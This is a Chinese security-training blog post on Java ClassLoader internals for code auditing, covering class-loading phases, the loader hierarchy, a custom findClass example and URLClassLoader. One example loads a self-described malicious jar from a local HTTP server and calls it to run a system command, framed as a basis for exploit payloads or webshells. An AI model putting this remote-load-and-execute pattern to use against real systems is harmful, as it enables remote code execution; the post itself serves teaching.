【创宇小课堂】代码审计_ClassLoader

admin 2022年3月17日03:27:17评论41 views字数 7681阅读25分36秒阅读模式


【创宇小课堂】代码审计_ClassLoader

验证阶段:确保加载类的正确性、保证吗代码对系统没有危害


准备阶段:对于类的静态变量分配内存、并将其初始化为默认值、默认值为0。static final变量默认不会改变

解析:把符号引用转换为直接引用,符号引用是一组描述符,直接引用是直接指向类的指针


初始化

类加载最后阶段、若该类具有父类,则先对父类进行初始化、执行静态变量赋值,成员变量也将被初始化


 

ClassLoader分类

 

Bootstrap ClassLoader启动类加载器

o加载java核心类库

o/jre/lib/ 下的类库加载到JVM内存

o不能被开发者调用


Extension ClassLoader扩展类加载器

o扩展类加载器主要用于加载/jre/lib/ext目录下的类库或者系统变量java.ext.dirs指定目录下的类库

o可被开发者调用


Application ClassLoader应用程序类加载器

o从classpath环境变量或者系统属性java.class.path所指定的目录中加载类

o可被开发者调用


ClassLoader核心方法

 

loadClass加载java类

findClass查找java类

findLoadedClass查找已经加载的java类

defineClass定义java类

resolveClass连接java类


一、loadClass方法:加载指定的java类

返回类型:类对象

首先,判断是否已经加载Class c = findLoadedClass(name);


若之前未加载,判断当前类加载器是否还有父类加载器,则使用父类加载器进行加载 c = parent.loadClass(name, false);


若不存在父类加载器,则默认先使用启动类加载器c = findBootstrapClassOrNull(name);


若返回null,则依照自己的搜索路径去查找类c = findClass(name);,没有重写ClassLoader类的情况下则是直接抛出异常


最后,若成功查找到类,链接找到的类resolveClass(c);

【创宇小课堂】代码审计_ClassLoader


启动类加载器——>扩展类加载器——>应用程序类加载器——>自定义类加载器

由于启动类加载器Bootstrap ClassLoader是C++写的,java源码中不存在该类,所以以下调用发现扩展类加载器Extension ClassLoader的父类加载器返回NULL


【创宇小课堂】代码审计_ClassLoader


二、findClass方法:

在自定义类加载器时,一般需要覆盖掉这个方法,且ClassLoader中给出了一个默认的错误实现,当我们覆盖掉这个类时,程序将会调用我们写的类。

【创宇小课堂】代码审计_ClassLoader


三、defineClass:定义java类

该方法的签名如下。用来将byte字节解析成虚拟机能够识别的Class对象。

defineClass()方法通常与findClass()一起使用。

在自定义类加载器时,会直接覆盖掉ClassLoader的findClass()方法获取要加载类的字节码,然后调用defineClass()方法生成Class对象。

【创宇小课堂】代码审计_ClassLoader


defineClass的主要输入参数是

类路径名

自定义类的字节数组

读入字节数组的index

读入字节数组的长度

四、resolveClass方法:链接java类

返回类型:void

同样是外部方法定义

【创宇小课堂】代码审计_ClassLoader


在反序列化中

如果类描述符是动态代理类,则调用resolveProxyClass方法来获取本地类

如果不是动态代理类则调用resolveClass方法来获取本地类

因此经常在resolveClass方法中检测是否有恶意类,即进行黑名单判断

 

重写findClass方法

 

package DayTwoPrevKonw; /* * 执行流程如下 * main方法初始化自定义类加载器 * 调用父类ClassLoader的loadClass自定义加载器加载目标类 * 使用findLoadedClass查看是否加载目标类,返回结果为null * 父类不为空、调用parent.loadClass加载目标类,返回结果为空 *返回结果为空,调用自定义类加载器的findclass方法 * 使用definceclass生成对应类的对象 * */ import java.lang.reflect.Method; public class WhynotClassloader extends ClassLoader { // TestHelloWorld类名 private static String testClassName = "DayTwoPrevKonw.test"; // TestHelloWorld类字节码 private static byte[] testClassBytes = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 52, 0, 19, 10, 0, 4, 0, 14, 8, 0, 15, 7, 0, 16, 7, 0, 17, 7, 0, 18, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 116, 101, 115, 116, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 116, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 6, 0, 7, 1, 0, 18, 105, 110, 32, 116, 104, 101, 32, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 1, 0, 19, 68, 97, 121, 84, 119, 111, 80, 114, 101, 118, 75, 111, 110, 119, 47, 116, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 0, 33, 0, 3, 0, 4, 0, 1, 0, 5, 0, 0, 0, 2, 0, 1, 0, 6, 0, 7, 0, 1, 0, 8, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 10, 0, 11, 0, 1, 0, 8, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 12, 0, 0, 0, 2, 0, 13 }; @Override public Class findClass(String name) throws ClassNotFoundException { System.out.println("In the customer findclass"); // 只处理TestHelloWorld类 if (name.equals(testClassName)) { // 调用JVM的native方法定义TestHelloWorld类 return defineClass(testClassName, testClassBytes, 0, testClassBytes.length); } return super.findClass(name); } public static void main(String[] args) { // 创建自定义的类加载器 WhynotClassloader loader = new WhynotClassloader(); try { // 使用自定义的类加载器加载TestHelloWorld类 Class testClass = loader.loadClass(testClassName); System.out.println(testClass.getClassLoader()); // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld(); Object testInstance = testClass.newInstance(); // 反射获取hello方法 Method method = testInstance.getClass().getMethod("test"); // 反射调用hello方法,等价于 String str = t.hello(); String str = (String) method.invoke(testInstance); System.out.println(str); } catch (Exception e) { e.printStackTrace(); } } }package DayTwoPrevKonw; import java.lang.reflect.Method; public class WhynotClassloader extends ClassLoader { // TestHelloWorld类名 private static String testClassName = "DayTwoPrevKonw.test"; // TestHelloWorld类字节码 private static byte[] testClassBytes = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 52, 0, 19, 10, 0, 4, 0, 14, 8, 0, 15, 7, 0, 16, 7, 0, 17, 7, 0, 18, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 4, 116, 101, 115, 116, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 116, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 6, 0, 7, 1, 0, 18, 105, 110, 32, 116, 104, 101, 32, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 1, 0, 19, 68, 97, 121, 84, 119, 111, 80, 114, 101, 118, 75, 111, 110, 119, 47, 116, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 0, 33, 0, 3, 0, 4, 0, 1, 0, 5, 0, 0, 0, 2, 0, 1, 0, 6, 0, 7, 0, 1, 0, 8, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 10, 0, 11, 0, 1, 0, 8, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 9, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 12, 0, 0, 0, 2, 0, 13 }; @Override public Class findClass(String name) throws ClassNotFoundException { System.out.println("In the customer findclass"); // 只处理TestHelloWorld类 if (name.equals(testClassName)) { // 调用JVM的native方法定义TestHelloWorld类 return defineClass(testClassName, testClassBytes, 0, testClassBytes.length); } return super.findClass(name); } public static void main(String[] args) { // 创建自定义的类加载器 WhynotClassloader loader = new WhynotClassloader(); try { // 使用自定义的类加载器加载TestHelloWorld类 Class testClass = loader.loadClass(testClassName); System.out.println(testClass.getClassLoader()); // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld(); System.out.println("parent"+testClass.getClassLoader().getParent()); Object testInstance = testClass.newInstance(); // 反射获取hello方法 Method method = testInstance.getClass().getMethod("test"); // 反射调用hello方法,等价于 String str = t.hello(); String str = (String) method.invoke(testInstance); System.out.println(str); } catch (Exception e) { e.printStackTrace(); } } } In the customer findclass DayTwoPrevKonw.WhynotClassloader@74a14482 sun.misc.Launcher$AppClassLoader@18b4aac2 in the classloader


 

URLClassLoader

 

在java.net包中,JDK提供了一个易用的类加载器URLClassLoader,它继承了ClassLoader。

URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。


构造方法

public URLClassLoader(URL[] urls) //指定要加载的类所在的URL地址,父类加载器默认为系统类加载器。public URLClassLoader(URL[] urls, ClassLoader parent) //指定要加载的类所在的URL地址,并指定父类加载器。


示例一、远程获取jar文件

1、首先编写恶意Jar文件

【创宇小课堂】代码审计_ClassLoader


2、使用如下命令打包jar文件

jar -cvmf manifest.txt app.jar *.class

【创宇小课堂】代码审计_ClassLoader


3、编写Urlclassloader

package DayTwoPrevKonw; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class UrlClassLoaderExample extends ClassLoader { public static void main(String[] args) { try { // 定义远程加载的jar路径 URL url = new URL("http://127.0.0.1:8000/app.jar"); // 创建URLClassLoader对象,并加载远程jar包 URLClassLoader ucl = new URLClassLoader(new URL[]{url}); // 定义需要执行的系统命令 String cmd = "ipconfig"; // 通过URLClassLoader加载远程jar包中的CMD类 Class cmdClass = ucl.loadClass("temp.CMD"); // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami"); Process process = (Process) cmdClass.getMethod("execs", String.class).invoke(null, cmd); // 获取命令执行结果的输入流 InputStream in = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int len = 0; // 读取命令执行结果 while ((len=in.read(b))!=-1) { baos.write(b); } // 输出命令执行结果 System.out.println(baos.toString()); } catch (Exception e) { e.printStackTrace(); } } }


 

类的显示与隐式加载

 

Java类动态加载方式

Java类加载方式分为显式隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。


常用的类动态加载方式:

// 反射加载CMD示例 Class.forName("temp.CMD") // ClassLoader加载TestHelloWorld示例 this.getClass().getClassLoader().loadClass("com.Classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

【创宇小课堂】代码审计_ClassLoader

原文始发于微信公众号(安全宇宙):【创宇小课堂】代码审计_ClassLoader

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月17日03:27:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【创宇小课堂】代码审计_ClassLoaderhttp://cn-sec.com/archives/826671.html

发表评论

匿名网友 填写信息